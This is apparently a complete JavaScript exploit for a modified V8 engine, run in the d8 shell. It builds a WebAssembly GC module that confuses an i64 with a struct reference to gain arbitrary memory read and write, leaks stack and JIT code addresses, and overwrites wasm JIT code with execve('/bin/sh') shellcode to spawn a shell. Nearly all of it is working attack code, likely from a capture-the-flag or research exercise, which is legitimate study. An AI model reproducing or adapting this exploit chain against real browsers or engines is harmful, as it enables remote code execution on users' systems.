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| class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);
this.state = {};
this.i = 0;
}
// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}
// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}
// int to hex string
hex(x) {
return "0x" + x.toString(16);
}
// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}
// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}
// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}
// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}
// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}
// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}
// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}
// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}
// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}
// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}
// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}
// int32 → float32
i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}
p(arg) {
%DebugPrint(arg);
}
debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}
stop() {
%SystemBreak();
}
hex32(i) {
return i.toString(16).padStart(8, "0");
}
hex64(i) {
return i.toString(16).padStart(16, "0");
}
hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}
printhex(val) {
console.log("0x" + val.toString(16));
}
add_ref(obj) {
this.state[this.i++] = obj;
}
gc() {
new Array(0x7fe00000);
}
}
const helpers = new Helpers();
const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();
path = "../v8/test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(path);
const builder = new WasmModuleBuilder();
const structType = builder.addStruct([makeField(kWasmI64, true)]);
const i2s = builder.addFunction("i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
kExprLocalGet, 0,
]);
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, i2s.index,
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, i2s.index,
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
kExprI64Const, 0,
]);
const instance = builder.instantiate();
let {leak_stack, AAR, AAW} = instance.exports;
let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
hexx("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
hexx("stack_value", stack_value);
//stop()
let jit_code_addr = AAR(stack_value+1n);
hexx("jit_code_addr", jit_code_addr);
let wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,
1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128,
128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105,
110, 0, 0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253, 182, 245, 125,
11,
])
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let shell = wasm_instance.exports.main;
let offset = 0x2940n;
let rop_addr = jit_code_addr+offset;
hexx("rop_addr", rop_addr);
let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
shell();//start_jump_table有点类似glibc的lazy binding，第一次shell()是用于初始化的
//stop()
for(let i = 0; i < shellcode.length; i++){
AAW(rop_addr+BigInt(i*0x8)+1n, shellcode[i]);
}
shell();
|
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